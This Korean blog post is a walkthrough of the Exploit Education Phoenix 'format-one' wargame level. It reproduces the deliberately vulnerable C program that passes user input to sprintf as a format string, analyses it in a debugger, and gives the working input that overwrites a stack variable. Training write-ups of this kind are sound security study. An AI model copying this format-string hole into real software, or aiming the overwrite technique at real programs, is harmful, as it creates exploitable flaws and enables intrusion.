Wargame/Exploit Education

[Phoenix] Format one

wyv3rn 2022. 9. 29. 07:07
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/format-one, by https://exploit.education
 *
 * Can you change the "changeme" variable?
 *
 * Why did the Tomato blush? It saw the salad dressing!
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  printf("%s\n", BANNER);

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  }
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0x45764f6c) {
    printf("Uh oh, 'changeme' is not the magic value, it is 0x%08x\n",
        locals.changeme);
  } else {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  }

  exit(0);
}

 

2.2. 분석

앞선 문제와 거의 동일하지만 이번에는 changeme 변수의 값이 정해져있다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

앞선 문제와 마찬가지로 sprintf 함수에서 format string bug가 발생한다.

 

3.2. 공격 준비

혹시나하여 요구하는 값을 특정 위치에 가지고있는지 확인하였으나 아래와 같이 코드 영역과 데이터영역에 위치해있기에 이를 이용하긴 어려울 것 같고, 직접적으로 값을 써줘야될 것 같다.

gef> grep 0x45764f6c
[+] Searching '0x45764f6c' in memory
[+] In '/opt/phoenix/amd64/format-one'(0x400000-0x401000), permission=r-x
  0x40075e - 0x40076e  →   "\x6c\x4f\x76\x45[...]"
[+] In '/opt/phoenix/amd64/format-one'(0x600000-0x601000), permission=rwx
  0x60075e - 0x60076e  →   "\x6c\x4f\x76\x45[...]"
gef> vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /opt/phoenix/amd64/format-one
0x0000000000600000 0x0000000000601000 0x0000000000000000 rwx /opt/phoenix/amd64/format-one
0x00007ffff7d6b000 0x00007ffff7dfb000 0x0000000000000000 r-x /opt/phoenix/x86_64-linux-musl/lib/libc.so
0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 r-- [vvar]
0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffa000 0x00007ffff7ffb000 0x000000000008f000 r-x /opt/phoenix/x86_64-linux-musl/lib/libc.so
0x00007ffff7ffb000 0x00007ffff7ffc000 0x0000000000090000 rwx /opt/phoenix/x86_64-linux-musl/lib/libc.so
0x00007ffff7ffc000 0x00007ffff7fff000 0x0000000000000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

변경해야하는 변수의 위치는 아래와 같다.

   0x000000000040075a <+109>:   mov    -0x10(%rbp),%eax
   0x000000000040075d <+112>:   cmp    $0x45764f6c,%eax

혹시나하여 %p와 함께 A를 조금 섞어줬더니 중간에 A가 삽입된 것을 볼 수 있었다.

gef> x/10s 0x00007fffffffe650
0x7fffffffe650: "%p%p%pAAAAAAAA"
0x7fffffffe65f: ""
0x7fffffffe660: "0x7fffffffe6500x7ffff7ffc5410x2e4a4a4a4a4a4a4aAAAAAAAA"

이를 이용해 offset만 맞춰주고 해당 값을 삽입하면 되겠다.

offset으로 사용하기 가장 좋은 format string은 아무래도 %c이니 이를 사용하자.

 

4. exploit

user@phoenix-amd64:~$ /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%32cAAAA
Uh oh, 'changeme' is not the magic value, it is 0x41414141
user@phoenix-amd64:~$ (python -c 'print "%32c" + "\x6c\x4f\x76\x45"') | /opt/phoenix/amd64//format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!
728x90
반응형